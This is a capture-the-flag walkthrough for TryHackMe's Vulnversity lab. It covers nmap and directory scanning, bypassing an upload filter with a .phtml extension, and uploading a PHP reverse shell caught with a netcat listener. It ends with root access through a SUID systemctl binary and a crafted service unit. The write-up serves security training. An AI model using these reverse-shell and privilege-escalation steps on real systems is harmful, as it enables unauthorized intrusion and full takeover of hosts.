December 18, 20227 minutes

Learn about active reconnaissance, web application attacks and privilege escalation.

https://tryhackme.com/room/vulnversity

Attacker IP = 10.10.10.10

Target IP = 10.10.23.174

Reconnaissance#

For the reconnaissance phase we’ll use nmap.

What is nmap?

nmap is a powerful, free and open-source tool used to discover hosts and services on a computer network. In our example, we use nmap to scan this machine and identify all the services running on a particular port. nmap has many capabilities; below is a table summarizing some of the features it provides.

Common nmap parameters:

Scan the machine, how many ports are open?#

❯ nmap -p- 10.10.23.174

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3128/tcp open  squid-http
3333/tcp open  dec-notes

It has a total of 6 open ports

What version of the squid proxy is running on the machine?#

❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

On port 3128 we can see the proxy version: 3.5.12

How many ports will nmap scan if the flag -p-400 was used?#

As the parameter says (-p-400), it will scan 400 ports

Using the nmap flag -n, what will it not resolve?#

With -n it won’t do DNS resolution

What is the most likely operating system this machine is running?#

❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 3333 shows it is Ubuntu

What port is the web server running on?#

❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

The web server is running on port 3333

Locating directories#

For this part we’ll look for directories with gobuster and wfuzz using the wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

What is the directory that has an upload form page?#

GoBuster#

GoBuster is a tool used to brute force URIs (directories and files), DNS subdomains and virtual host names. For this machine, we’ll focus on using it to brute force directories.

❯ gobuster dir -u http://10.10.23.174:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
2022/12/18 01:37:49 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 320] [--> http://10.10.23.174:3333/images/]
/css                  (Status: 301) [Size: 317] [--> http://10.10.23.174:3333/css/]
/js                   (Status: 301) [Size: 316] [--> http://10.10.23.174:3333/js/]
/fonts                (Status: 301) [Size: 319] [--> http://10.10.23.174:3333/fonts/]
/internal             (Status: 301) [Size: 322] [--> http://10.10.23.174:3333/internal/]

Trying the reported directories in a browser, the directory where we can upload files is: internal

wfuzz#

Wfuzz was created to make web application assessments easier, and it is based on a simple concept: it replaces any reference to the FUZZ keyword with the value of the defined payload.

A payload in Wfuzz is a data source.

This simple concept allows any input to be injected into any field of an HTTP request, making it possible to perform complex web security attacks on different components of the web application, such as parameters, forms, directories/files, headers, etc.

Source

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.23.174:3333/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================
000000550:   301        9 L      28 W       317 Ch      "css"                                                                                                                       
000000953:   301        9 L      28 W       316 Ch      "js"                                                                                                                        
000002771:   301        9 L      28 W       319 Ch      "fonts"                                                                                                                     
000002984:   301        9 L      28 W       322 Ch      "internal"
000095524:   403        11 L     32 W       302 Ch      "server-status"

Trying the reported directories in a browser, the directory where we can upload files is: internal

Compromise the web server#

What common file type, which you’d want to upload to exploit the server, is blocked? Try a couple to find out.#

The answer is .php

What extension is allowed?#

To identify which extensions are not blocked, we’ll fuzz the upload form. To do this, we’ll use Burp Suite.

First we capture the request, send it to Intruder and set the extension as a variable

In the payloads section we set the extensions we want it to try

Now we can click attack.

If we look at the length column, we can see they all show the same value except one. That means .phtml didn’t return the same message, so we can assume it was accepted

What is the name of the user who manages the web server?#

Since we can upload .phtml files, we’ll send it a file to get a reverse shell, using https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php by pentestmonkey

# Nos lo pasamos a nuestra máquina
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

# Le cambiamos la extensión
mv php-reverse-shell.php php-reverse-shell.phtml

It’s important to change these lines

$ip = '127.0.0.1';  // Ip de tú máquina
$port = 1234;       // Puerto en el que te vas a poner en escucha

We listen on port 443 with netcat

nc -nlvp 443

Now we can run the file by opening the following in the browser

http://10.10.23.174:3333/internal/uploads/php-reverse-shell.phtml

First, to work more comfortably, we upgrade the terminal with the following commands:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

Now we can read the flag in /home/bill/user.txt, and we know the user who manages the web server is bill

Privilege escalation#

In Linux, SUID (set owner userId upon execution) is a special type of file permission given to a file. SUID gives a user temporary permission to run the program/file with the permissions of the file’s owner (rather than the user who runs it).

For example, the binary used to change your password has the SUID bit set (/usr/bin/passwd). This is because, to change your password, it has to write to the shadow file, which you don’t have access to but root does, so it has root privileges to make the right changes.

On the system, search for all SUID files. What file stands out?#

With find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null we can see the files with SUID permissions. The answer is /bin/systemctl

Become root and get the last flag (/root/root.txt)#

By running the following and then reading /tmp/output with cat, we can see the flag

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

cat /tmp/output